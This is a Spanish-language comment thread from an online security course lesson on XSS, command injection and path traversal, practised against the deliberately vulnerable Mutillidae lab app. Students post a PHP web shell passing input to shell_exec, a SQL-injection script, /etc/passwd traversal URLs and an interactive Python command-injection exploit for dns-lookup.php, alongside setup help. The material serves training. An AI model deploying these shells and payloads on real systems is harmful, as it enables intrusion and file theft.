Práctica: Cross-Site-Scripting, command injection y directorio transversal

WEB SHELL
<form action="" method="POST" enctype="application/x-www-form-urlencoded">
    <table style="margin-left: auto; margin-right: auto">
        <tr>
            <td colspan="2" style="text-align: center; font-weight: bold; color: #770000;">
                Inserta el comando requerido
            </td>
        </tr>
        <tr><td>&nbsp;</td></tr>
        <tr>
            <td style="font-weight: bold;">Comando</td>
            <td><input type="text" name="pCommand" size=""></td>
        </tr>
        <tr><td>&nbsp;</td></tr>
        <tr>
            <td colspan="2" style="text-align: center;">
                <input type="submit" value="Ejecutar Comando">
            </td>
        </tr>
    </table>
</form>
<?php 
    if (isset($_REQUEST["pCommand"])) {
        echo "<pre>";
        echo shell_exec($_REQUEST["pCommand"]);
        echo "</pre>";
    }
?>

El archivo a buscar en la práctica del minuto 1, es el archivo “passwd” no “password”.

En el primer ejercicio también pueden poner lo siguiente:

http:/<ip>/mutillidae/index.php?page=/etc/passwd

Con el fin de que no pongan tanto “…/…”.

NO DEFINITIVAMENTE NO PUEDO CONTINUAR. MUCHOS ERROS, MUCHOS CORTES DE EDICION EN LAS CLASES DONDE QUIZAS SE MUESTREN MUCHOS DE LOS ERRORES QUE VEO QUE LA MAYORIA DE LOS COMPAÑEROS MENCIONAN. PARA EVITAR ESO INSTALLE LAS MISMAS VERSIONES DE TODAS LAS IMAGENES DE SISTEMA PARA LAS DISTINTAS MAQUINAS VIRTUALES SOLO PUDE INSTALAR BIEN KALI, Metaesplotaible 3 UN DESASTRE CON UNA GUIA QUE NO SE ENTIENDE PARA ALGUIEN COMO YO QUE RECIEN EMPIEZA DE 0 REALMETE. NO ENTIENDO SI ES UNA MAQUINA VIRTUAL NUEVA, SERIA LA MIA PERSONAL LA VERDAD. MULTILLIDAE TAMBIEN MUCHOS ERROES AL CONFIGURARLA Y AL QUERER HACER LO DE ESTA CLASE ME PARECEN MUCHOS MENSAJES DE ERROR. NUNCA ME QUERIDO QUEJAR CON LAS COSAS A MEJORAR PERO REALMENTE EN ESTOS CURSOS QUE EMPECE MUY EMOCIONADO ME TERMINO DESEPCIONANDO. GRACIAS ME QUEDE EN LA CLASE 6 Y NO PUDE SEGUIR ME ARRUINO LA RAMA Y NO SE SI SEGUIR LAS DEMAS.

Les comparto mi implementación en Python ❤️.

#!/usr/bin/python3

import requests
from pprint import pprint

BASE_URL="<mutillidae ip>"


def main(**kwargs):
    username = kwargs["username"]
    password = kwargs["password"]
    
    base_url = f"""{BASE_URL}/mutillidae/index.php?page=user-info.php&username={str(username)}&password={str(password)}&user-info-php-submit-button=View+Account+Details"""
    print(base_url)
    res = requests.get(base_url)
    pprint(res.text)


if __name__ == "__main__":
    main(username= "' or '1' = '1",password= "' or '1' = '1")

Porque al ejecutar el ’ or 1=1 – me manda es esto ?

cuando hago 192.168.2.3/mutillidae/index.php?page=…/…/…/…/etc/passwd (con mi respectivo ip) me sale **VALIDATION ERROR: 404 PAGE NOT FOUND **
alguna respuesta a como solucionarlo?

• También toma la raíz como “/”, es decir no es necesario agregar …/…/… con indicar que arranque desde la raíz esta =/etc/passwd.

• El ejemplo del sql injenction si lo colocan mal, se muestra toda la query del sql, pueden agregar tambien => 'or ‘1’='1

voy x la clase 10 y me cuesta un Peru seguirle le ritmo…
saca comandos y lso interpreta como si ya estuvieramos avanzados…
sinceramente me trabe…
me voy a intentar via tutoriales de youtube o algo
xq empieza lo mas bien
pero no explica los comandos…
como vienen
q funcion cumple… ( te manda de un lugar a otro , o soy yo el del problema o no se)
pero de todos los cursos q estoy aprendiendo docker, python . este no entiendo nada!..
xq pone comandos y no explica el que… o como. no te queda otra q pausar y ver q "**** esta haciendo.

Para los que no entienden la diferencia entre path traversal e RFI Y LFI, pues que la de arriba solo sirve para leer archivos y dos de abajo, puede ejectuar codigo, subir shell etc. Comento esto porque ami en un principio me confundan, Pero estas tecnicas van de la mano.

Muy interesante, la verdad. El hecho de que la teoría y la práctica se den dentro de la misma clase, bajo mi punto de vista, refuerza mucho el aprendizaje.

Muy interesante. Funciono todo.

Y si quiero aplicarlo en un entorno real, debo primero lograr conectarme al servidor objetivo y desde ahí ejecutar mutillidae o cómo??

Hola, quien me podría ayudar??
Al momento de abrir el archivo php que generamos no puedo encontrarlo ya que no me abre la carpeta de los documentos y cosas de mi computadora si no que me abre el de kali linux que no tiene nada adentro.

Que clase tan buena… tuve algunos problemas para instalar la carpeta compartida, pero lo logre… si alguien necesita info… escribame y cin gusto lo ayudaré.

Si quieren hacerlo en windows sin tener que virtualizar

https://subscription.packtpub.com/book/networking_and_servers/9781788624039/1/ch01lvl1sec12/installing-mutillidae-on-windows

es una guia de como usar multillidae

Este es el codigo correcto con espacios (probado)

WEB SHELL
<form action="" method="post" enctype="application/x-www-form-urlencoded">
    <table style="margin-left:auto; margin-right:auto">
        <tr>
            <td colspan="2" style="text-align:center; font-weight: bold;color: #770000;">
                Inserta el comando requerido
            </td>
        </tr>
        <tr><td>&nbsp;</td></tr>
        <tr>
            <td style="font-weight: bold;">Comando</td>
            <td><input type="text" name="pCommand" size="50"></td>
        </tr>
        <tr><td>&nbsp;</td></tr>
        <tr>
            <td colspan="2" style="text-align:center;">
                <input type="submit" value="Ejecutar Comando">
            </td>
        </tr>
    </table>
</form>
<?php
    if (isset($_REQUEST["pCommand"])) {
        echo "<pre>";
        echo shell_exec($_REQUEST["pCommand"]);
        echo "</pre>";
    }//end if
?>

Esta clase me resulto muy muy interesante :’)
Gracias por el platzi day

alguien me puede apoyar por favor

Lastima que no esta actualizado

Lo mejor es utilizar mutillidae desde docker. Instale docker en kali y luego seguí estas instrucciones y funcionó el SQL injection. https://www.youtube.com/watch?v=9RH4l8ff-yg

Hola se podría usar kali Linux como sistema principal para esta clase?

Si tienen Docker (en vez de Virtualbox)

docker run --rm --net host -it -p 80:80 -p 443:443 -p 3306:3306 --name owasp17 bltsec/mutillidae-docker

Abren desde el navegador por localhost

Interesante

Aqui les dejo un exploit que acabo de escribir para poder ejecutar comandos desde la terminal en el dns-lookup.php

Esta escrito con python3, vas a tener que usar

pip install bs4

para que funcione correctamente.

#-*-coding: utf-8-*-
from requests import session
from bs4 import BeautifulSoup


#Aqui pones la ip de tu maquina.
host = "192.168.1.167"
#Aqui pones la ruta de el dns-lookup.php 
route = "/index.php?page=dns-lookup.php"

with session() as s:
	cmd = ''
	while cmd != 'exit':
		cmd = input(">>")
		payload = "|| {}".format(cmd)	
		#Mandar el payload al host por medio de un post request.	
		response = s.post("HtTp://{}{}".format(host, route), data={"target_host": payload})

		#Parsear la respuesta con beautiful soup
		soup = BeautifulSoup(response.text, "html.parser")

		#El output del comando se encuentra en un <pre> con la clase 'report-header'
		#Asi que le decimos a beautiful soup que lo encuentre, y que nos de el texto.
		command_output = soup.find_all("pre", attrs={"class": "report-header"})[0].get_text()

		#Imprimir output del comando
		print(command_output)

Esta muy chevere el curso, pero Sobre la parte del XSS, justo hoy vi un video donde hablaba que es mejor usar alert(document.domain) en lugar de alert(1) porque hay paginas que usan algun tipo de sandbox en un iframe para que el javascript no pueda conseguir ninguna informacion sensible. No es el caso con esta pagina, pero pues supongo que es buena practica.
Aqui les dejo el video:
https://www.youtube.com/watch?v=KHwVjzWei1c&ab_channel=LiveOverflow

Muy interesante la clase

Wow, excelente, demasiadas cosas que no tenía ni idea que se podían realizar

Muy buena clase.

Muy Interesante

@Alan, hola.

Una consulta, porqué algunos comandos no se ejecutan en la cuadro de comandos que creamos. Es decir, si ejecuto ejemplo el comando mkdir, o si intento moverme entre directorios no me lo permite. Lo que he podido realiza con éxito es ver la ruta donde me encuentr (pwd), listar los archivos de esa ruta y en algunos casos ver la información de algunos archivos.

Quedo atento.
Gracias.

Hola
Alguien sabe como le hizo el profe para acceder desde la máquina anfitrión con windows 10 a la web mutilidae alojada en el ubuntu server
esque en el video se vé que es una ip bien rara que según yo nada tiene que ver con la red que generamos en el Vbox (192.168.2.x)

Para Ubuntu 20.04 los pasos correctos son los siguientes:

• Instalamos apache2, php y mysql:
  sudo apt-get install php libapache2-mod-php php-mysql
  sudo apt install php7.4-curl php7.4-mbstring php7.4-xml
  sudo apt install mysql-server

• Como a partir de MySQL 5.7 la autenticación que se utiliza es auth_socket, que permite mayor seguridad y usabilidad sin utilizar una contraseña para este proceso, entonces no te permite interactuar con programas externos como es el caso de Mutillidae. Por lo cual es necesario que el método de autenticación debe ser cambiado al tipo mysql_native_password, para esto se deben ejecutar los siguientes comandos:

Sudo mysql -u root
Use mysql;
ALTER USER ‘root’@‘localhost’ IDENTIFIED WITH mysql_native_password BY ‘Mutillid@e2020’;
FLUSH PRIVILEGES;
SELECT user,authentication_string,plugin,host FROM mysql.user;

Luego de hacer esto, reiniciar apache2
sudo systemctl restart apache2

• Luego de haber cambiado privilegios, descargar mutillidae dentro de la carpeta de trabajo de Apache dentro del directorio /var/www/html con el comando:
  Sudo git clone https://github.com/webpwnized/mutillidae.git

• Con el paso anterior se crea una carpeta de nombre mutillidae la cual contendrá nuestra aplicación de pruebas. Pero antes de utilizar la aplicación, debemos modificar el archivo database-config.inc con su editor favorito, dentro de la carpeta: /var/www/html/mutillidae/includes
  mutillidae@mutillidae:/var/www/html/mutillidae/includes$ sudo nano databse-config.inc

• Agregamos en la línea que dice PASSWORD la contraseña previamente generada en el paso número 15 (Mutillid@e2020 o la que hayamos puesto que cumpla con los requsiitos de mysql)

• Para la utilización de la aplicación Mutillidae se deberá ingresar con ayuda cualquier navegador, por ej, desde un kali Linux en la misma red que la máquina Mutillidae, utilizando la IP de la máquina mutillidae y /mutillidae. Ej. 192.168.x.x/mutillidae
  Y dar clic en Reset DB.

Pueden poner la calidad en 480, mis datos no son muchos y ponen default 720.